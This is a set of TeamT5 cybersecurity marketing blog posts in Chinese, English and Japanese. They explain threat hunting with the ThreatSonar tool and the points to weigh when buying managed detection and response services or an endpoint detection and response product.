威脅狩獵策略須由具備豐富實務經驗的資安專業人員，搭配先進的工具和方法，挖掘出隱藏於端點的威脅。

 

##威脅狩獵的關鍵環節
####數據行為分析

威脅狩獵始於對企業網路的程式行為產生的大量數據，進行深度分析，分析對象數據包括日誌、網路流量和其他有助協助的資訊相關數據來源。

實際狩獵過程中，威脅狩獵專家使用專有工具，以工具內建的行為分析功能，識別正常與異常活動模式，這有助於發現可能更深層、潛伏的資訊安全威脅。

####威脅情資

威脅狩獵專家採用的工具，需基於最新、與企業最相關的威脅情資，方能進行精準的威脅狩獵，以保持在持續演化的資安威脅中，保持領先地位。這包括最新的攻擊手法、攻擊脈絡等資訊。


##威脅狩獵之於企業資安的重要性
####減少時間差

威脅狩獵是通過主動尋找並化解威脅，企業可以顯著減少「駭客入侵」與「威脅造成實際損失」之間的時間差，避免營運損失。

####強化資安事件應變

威脅狩獵協助企業在攻擊入侵的初期，即時識別與阻止威脅，強化企業對資安事件的應變能力，最小化潛在損害。

####有效應對最新的資安威脅

在變動萬千的資安環境中，威脅狩獵使企業能夠迅速應對新興的資安威脅，這些威脅可能無法經由傳統的資訊安全措施、工具所偵查到。


##結論
威脅狩獵為一種主動的資安強化方法。通過主動尋找潛在威脅，企業可以加強其防禦，超前部署，預防駭客入侵。

杜浦數位安全 TeamT5 的威脅狩獵工具 ThreatSonar 所具備的獨特「記憶體鑑識」技術，可鑑識出攻擊者利用合法掩飾非法-將惡意程式注入合法程式中的攻擊手法，找到惡意程式的中繼站，阻擋進一步的威脅入侵。

ThreatSonar 的領先威脅狩獵技術，能夠鑑識、揪出以下潛在威脅，協助企業強化資安韌性：
- 執行過以及將要執行的程式 (Executed/Autorun programs threat hunting)
- 針對隱匿於記憶體中的惡意程式，進行偵測與鑑識 (Memory forensics)
- 攻擊者的駭客工具 (Hacktools)
- Suspicious artifacts (攻擊後殘留於主機的紀錄)
- Living Off The Land Binaries And Scripts (LOLBAS)
- 網路衛生 (Cyber hygiene)


 
 
隨著資安環境的不斷變化，將威脅狩獵納入企業全面資安策略中，變得日益重要，有助保護重要商業機敏資料數據，並維護商務運作的穩健性，奠定資安韌性。

 
 
>杜浦數位安全 TeamT5 為網路威脅狩獵專家，團隊具備超過20年的惡意程式與進階持續性威脅（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。
>
>我們研發的威脅狩獵工具 ThreatSonar 已獲許多大型企業、金融產業及資安代管服務廠商（MSSP）採用。

 
>如果您是企業，請立即連絡我們，透過產品展示 Demo，徹底掌握威脅狩獵帶來的絕佳防禦效益。

>如果您是資安代管服務廠商，請即刻聯絡我們，共同討論如何為終端客戶強化資安韌性，並且創造商機。
>https://teamt5.org/tw/contact-us/

 
 
*圖片來源: Pixabay

什麼是威脅狩獵?

**Managed Detection and Response（MDR）**服務供應商為企業提供外包的威脅偵測和應變服務，協助企業識別、分析和應對資安威脅。然而，挑選和採購合適的 MDR 服務供應商是一個重大的決策，影響企業數位資產與資訊系統能否獲得妥善防禦服務。

 

挑選 MDR 服務供應商時，企業需要謹慎考慮以下關鍵因素。

### 1. 具備資安專業知識與豐富實務經驗

選擇一家 MDR 服務供應商時，首要考慮的是其具備資安專業知識，且有豐富實務經驗，以在企業遭遇突如其來的資安事件攻擊時，供應商團隊能夠迅速識別和應對各種威脅。

 

### 2. 監控和應對能力

MDR 服務供應商應該提供 24/7 的監控和威脅應對能力，其包含：及時威脅偵測、事件分析、威脅狩獵和威脅應變。越即時的應變，越能協助企業降低潛在威脅對企業的損害。

 

### 3. 威脅情資和分析

MDR 服務供應商應該能提供目前最新、最具危害力的資安威脅情資和詳細分析。這有助於企業徹底掌握威脅趨勢，並調整其資訊安全策略。

 

### 4. 可視性和報告

MDR 服務供應商應能提供高度的可視性，包括端點狀況的全方位視覺化資料。此外，供應商應該能產製詳細的資安威脅報告，以幫助企業了解威脅的性質和影響。

 

### 5. 合規性和法規遵循

最後，MDR 服務供應商應該符合相關的安全性標準和法規要求。這包括數據加密、權限管控和合規性報告等功能，以確保企業在法律和合規性方面符合政府要求。

 

## 結論

在挑選 MDR 服務供應商時，企業應該仔細考慮上述因素，以確保所選擇的供應商能夠提供高效的威脅偵測和應變服務。MDR 服務供應商的選擇將直接影響企業的安全性和應對威脅的能力，因此這是一個極為重要的決策，值得慎重考慮。

 

TeamT5 杜浦數位安全提供 [威脅偵測應變代管服務（MDR）](https://teamt5.org/tw/service/mdr/?utm_source=blogs&utm_medium=website)。我們的團隊成員具備超過 20 年的資安威脅調查、分析的經驗，已協助政府、金融業、科技業、製造業等廣大客戶群，達成資安防禦目標。

>歡迎聯絡我們，了解您的企業如何進行資安防禦最佳化。
[https://teamt5.org/tw/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blogs&utm_medium=website)


 

*首圖來源: Unsplash

威脅偵測應變代管服務（MDR）評估與採購重點

**Managed Detection and Response (MDR)** service providers help enterprises with outsourced threat detection and response services to assist enterprises in identifying, analyzing and responding to cybersecurity threats. 

However, selecting and procuring a suitable MDR service provider is a major decision that affects whether an enterprise's digital assets and information systems can receive proper defense services.

When selecting an MDR service provider, businesses need to carefully consider the following key factors.

###1. Possess professional cybersecurity knowledge and rich practical experience:

When choosing an MDR service provider, the first thing to consider is that it has professional knowledge of cybersecurity and rich practical experience, so that when an enterprise encounters a sudden attack on cybersecurity incidents, the supplier's team can quickly identify and respond to various threats.

**2. Monitoring and response capabilities:**

MDR service providers should provide 24/7 monitoring and threat response capabilities that include: timely threat detection, incident analysis, threat hunting, and threat response. The more immediate the response, the more it can help enterprises reduce the damage caused by potential threats to the enterprise.

**3. Threat Intelligence and Analysis:**

MDR service providers should be able to provide the latest threat intelligence and detailed analysis. This helps enterprises thoroughly understand threat trends and adjust their cybersecurity strategies.

**4. Visibility and reporting:**

MDR service providers should be able to provide a high degree of visibility, including a complete visual representation of endpoint conditions. In addition, suppliers should be able to produce detailed cybersecurity threat reports to help enterprises understand the nature and impact of threats.

**5. Compliance and compliance:**

Finally, MDR service providers should comply with relevant cybersecurity standards and regulatory requirements. This includes features such as data encryption, access control, and compliance reporting to ensure businesses are compliant with government requirements in terms of legal and regulatory compliance.


## Conclusion

When selecting an MDR service provider, enterprises should carefully consider the above factors to ensure that the chosen provider can provide efficient threat detection and response services. The choice of a MDR service provider will directly impact your organization's cybersecurity and ability to respond to threats, so it's an extremely important decision that deserves careful consideration.



TeamT5 provides MDR services. Our team members have more than 20 years of experience in cybersecurity threat investigation and analysis, and have assisted a wide range of customer groups such as the government, financial industry, technology industry, and manufacturing industry to achieve information security defense goals.

Welcome to contact us to learn how your company can optimize its security defense.
[https://teamt5.org/en/contact-us/](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website)


Managed Detection and Response (MDR): Key Considerations for Procurement

MDR Service Resources

脅威に満ちた今日のデジタル時代において、企業は自社システムを攻撃やデータ盗難から確実に保護するため、最適なエンドポイントセキュリティソリューションを積極的に探す必要があります。

EDR(Endpoint Detection and Response)ソリューションは、企業がエンドポイントの脅威を早期に検出して対応できる強力なツールです。しかし、EDRソリューションを選択および購入する場合、企業は、選択したソリューションがサイバーセキュリティのニーズを満たし、情報システムが長期かつ安定的に動作するのに役立つかどうか、いくつかの重要な点を踏まえて確認する必要があります。


## 1. 完全な脅威検出機能:
高精度で即時の脅威検出機能を備えた EDR ソリューションを選択することが重要です。また、既知と未知の両方の様々な種類の脅威を識別し、即時の警告と対応メカニズムを提供できる必要があります。


## 2. 効率的な脅威への対応とブロック機能:
優れた EDR ソリューションには、脅威への迅速な対応とブロック機能が備わっています。これには、脅威が特定されると即座に対応し、被害を最小限に抑え、復旧時間を短縮する自動応答メカニズムが含まれます。


## 3. 高度な可視性とレポート機能:
詳細なレポートと分析を提供する EDR ソリューションは、脅威の傾向の理解を深め、調査を実施し、今後の攻撃に対応するための鍵となります。また、可視性の高い情報はリアルタイムで更新され、エンドポイントとネットワークアクティビティの包括的な視覚的画像を提供する必要があります。


## 4. 国際的なサイバーセキュリティ防御の枠組み MITRE ATT&CK の参照
米国の非営利団体 MITRE は、国際的に広く使用されている ATT&CK (Adversarial Tactics, Techniques & Common Knowledge) サイバー防御フレームワークを提案しました。これは、企業組織が共通の言語と構造を持ち、ネットワーク攻撃手法を理解して分析できるようにすることを目的としています。


## 5. 簡単な統合と拡張性
EDR ソリューションは、SIEM (Security Information and Event Management) などの既存のサイバーセキュリティソリューションおよびインフラストラクチャと簡単に統合できる必要があります。また、ウイルス対策ソフトウェアなどの既存のソリューションとの競合も回避する必要があります。同時に、EDR ソリューションは拡張性があり、企業のビジネスの継続的な拡大とそれに伴うエンドポイント数の継続的な増加に対応できる必要があります。



## 6. セキュリティとコンプライアンス
企業が選択する EDR ソリューションは、データ暗号化、ユーザー権の管理、および企業が所在する国の法的要件への準拠を保証するその他の機能を含む、セキュリティ標準と規制要件に準拠する必要があります。



## 結論

EDR ソリューションを選択および購入する場合、企業は上記の要素を考慮し、特定のニーズを満たすソリューションを選択する必要があります。これにより、企業のセキュリティが向上するだけでなく、ビジネス運営が保護され、顧客やパートナーからの信頼も得られます。最終的に、優れた EDR ソリューションは企業のセキュリティ戦略の重要な基盤になります。

TeamT5 は、上記の特徴を満たす EDR ソリューション「[ThreatSonar Anti-ransomware](https://teamt5.org/tw/products/threatsonar-anti-ransomware/?utm_source=blogs&utm_medium=website)」を提供しています。当社のチームメンバーは、サイバーセキュリティ脅威の調査と分析において 20 年以上の経験があり、政府、金融、テクノロジー、製造などの幅広い業界の顧客がサイバー防御の目標を達成できるようサポートしてきました。


>貴社のサイバー防御を最適化する方法について詳しく知りたい場合は、ぜひお問い合わせください。
[https://teamt5.org/jp/contact-us/](https://teamt5.org/jp/contact-us/?utm_source=blogs&utm_medium=website)



EDR(Endpoint Detection and Response) ：導入における主な考慮事項

In today's digital age, which is full of threats, enterprises should actively look for the best endpoint security solutions to ensure that their systems are protected from attacks and data theft.

EDR (Endpoint Detection and Response) solution is a powerful tool that can help enterprises detect and respond to endpoint threats early. However, when selecting and purchasing EDR solutions, enterprises need to pay attention to some key points to ensure that the chosen solution meets their cybersecurity needs and can help the information system operate stably in the long term.

 

### 1. Complete threat detection capabilities
It is important to choose an EDR solution with high accuracy and instant threat detection capabilities. Solutions should be able to identify various types of threats, both known and unknown, and provide immediate warning and response mechanisms.

### 2. Efficient threat response and blocking capabilities
A good EDR solution should have rapid threat response and blocking capabilities. This includes automated response mechanisms that take action as soon as a threat is identified to minimize damage and speed up recovery time.

### 3. High visibility and reporting capabilities
Choose an EDR solution that provides detailed reporting and analysis, which is key to understanding threat trends, conducting investigations, and responding to future attacks. Visibility information should be real-time and provide a comprehensive visual picture of endpoint and network activity.

### 4. Refer to the international cybersecurity defense framework MITRE ATT&CK
The American non-profit organization MITRE proposed the ATT&CK (Adversarial Tactics, Techniques & Common Knowledge) cybersecurity defense framework that is widely used internationally. It aims to help enterprise organizations have a common language and structure, understand and analyze network attack methods, and then plan cybersecurity. Countermeasures.

### 5. Easy integration and scalability
EDR solutions should be easy to integrate with existing cybersecurity solutions and infrastructure, such as SIEM (Security Information and Event Management) solutions; they should also avoid conflicts with existing solutions, such as anti-virus software. At the same time, the EDR solution should be scalable and able to cope with the continuous expansion of the enterprise's future business and the continuous increase in the number of endpoints.

### 6. Security and compliance
The EDR solution an enterprise chooses must comply with relevant security standards and regulatory requirements. This includes data encryption, user rights control and other functions to ensure compliance with the legal requirements of the country where the enterprise is located.


 

## Conclusion

When selecting and purchasing an EDR solution, businesses should consider the above factors and select a solution that meets their specific needs. This not only improves enterprise security, but also protects business operations and gains the trust of customers and partners. Ultimately, a good EDR solution will become an important foundation for an enterprise's security strategy.

TeamT5 provides an EDR solution "[ThreatSonar Anti-ransomware](https://teamt5.org/en/products/threatsonar-anti-ransomware/?utm_source=blogs&utm_medium=website)", which meets the above characteristics. Our team members have more than 20 years of experience in cybersecurity threat investigation and analysis, and have assisted a wide range of customer groups such as the government, financial industry, technology industry, and manufacturing industry to achieve cybersecurity defense goals.

>Contact us to learn how your enterprises can optimize your security defense.
[https://teamt5.org/en/contact-us/](https://teamt5.org/en/contact-us/?utm_source=blogs&utm_medium=website)

Endpoint Detection and Response (EDR) Solution: Key Considerations for Procurement

在當今充滿威脅的數位時代，企業宜積極尋找最佳的端點安全解決方案，以確保企業的系統免受攻擊、數據失竊。

**EDR（Endpoint Detection and Response）**解決方案是一種強大的工具，可以幫助企業及早檢測和應對端點威脅。然而，在挑選和採購 EDR 解決方案時，企業需要注意一些關鍵重點，以確保所選擇的解決方案符合其資訊安全需求，更能協助資訊系統能長期穩定運作。

 

### 1. 完整的威脅偵測能力
選擇一個具有高精確度和即時威脅偵測能力的 EDR 解決方案，十分重要。解決方案應該能夠識別各種類型的威脅，包括已知和未知的威脅，並提供即時的警告和反應機制。

 

### 2. 高效的威脅回應和阻斷能力
一個優秀的 EDR 解決方案應該具有快速的威脅回應和阻斷功能。這包括自動化的應對機制，能夠在識別到威脅後立即採取行動，以最小化損失並加快恢復時間。

 

### 3. 高度的可視性和報告功能
選擇一個提供詳細報告和分析的 EDR 解決方案，這對於了解威脅趨勢、進行調查和應對未來攻擊非常關鍵。可視性資訊應該是即時的，並且能夠提供端點和網路活動的全方位視覺畫圖表。

 

### 4. 參考國際通用資安防禦框架 MITRE ATT&CK
美國非營利組織 MITRE 提出廣為國際使用的 ATT&CK (Adversarial Tactics, Techniques & Common Knowledge)資安防禦框架，旨在協助企業組織有共通的語言與架構，了解與分析網路攻擊手法，進而規劃資安對策。

EDR 解決方案宜具備攻擊事件與此資安防禦框架的對照資訊，使用者方可有具體、清晰的概念，理解攻擊事件的手法，採取正確的應對措施。

 

### 5. 容易整合和擴展性
EDR 解決方案應該易於與現有的資訊安全解決方案、基礎設施整合，如SIEM（Security Information and Event Management）解決方案；也避免與現有解決方案衝突，如防毒軟體。同時，EDR 解決方案應該具有擴展性，能夠應對企業未來業務持續擴展，端點數持續增加。

 

### 6. 安全性和合規性
企業所選擇的 EDR 解決方案必須符合相關的安全性標準和法規要求。這包括數據加密、使用者權限控制等功能，確保符合企業所在國家的法律規定。

 

## 結論

在挑選和採購 EDR 解決方案時，企業應該綜合考慮上述因素，並選擇一個符合其特定需求的解決方案。這不僅能夠提高企業的安全性，還能夠保護業務營運，獲得客戶和合作夥伴的信任。最終，一個優秀的 EDR 解決方案將成為企業資安策略的重要基底。

 

TeamT5 杜浦數位安全提供 EDR 解決方案「[ThreatSonar Anti-ransomware](https://teamt5.org/tw/products/threatsonar-anti-ransomware/?utm_source=blogs&utm_medium=website)」，符合上述特點。我們的團隊成員具備超過 20 年的資安威脅調查、分析的經驗，已協助政府、金融業、科技業、製造業等廣大客戶群，達成資安防禦目標。

>歡迎聯絡我們，了解您的企業如何進行資安防禦最佳化。
[https://teamt5.org/tw/contact-us/](https://teamt5.org/tw/contact-us/?utm_source=blogs&utm_medium=website)

 

*首圖來源: Unsplash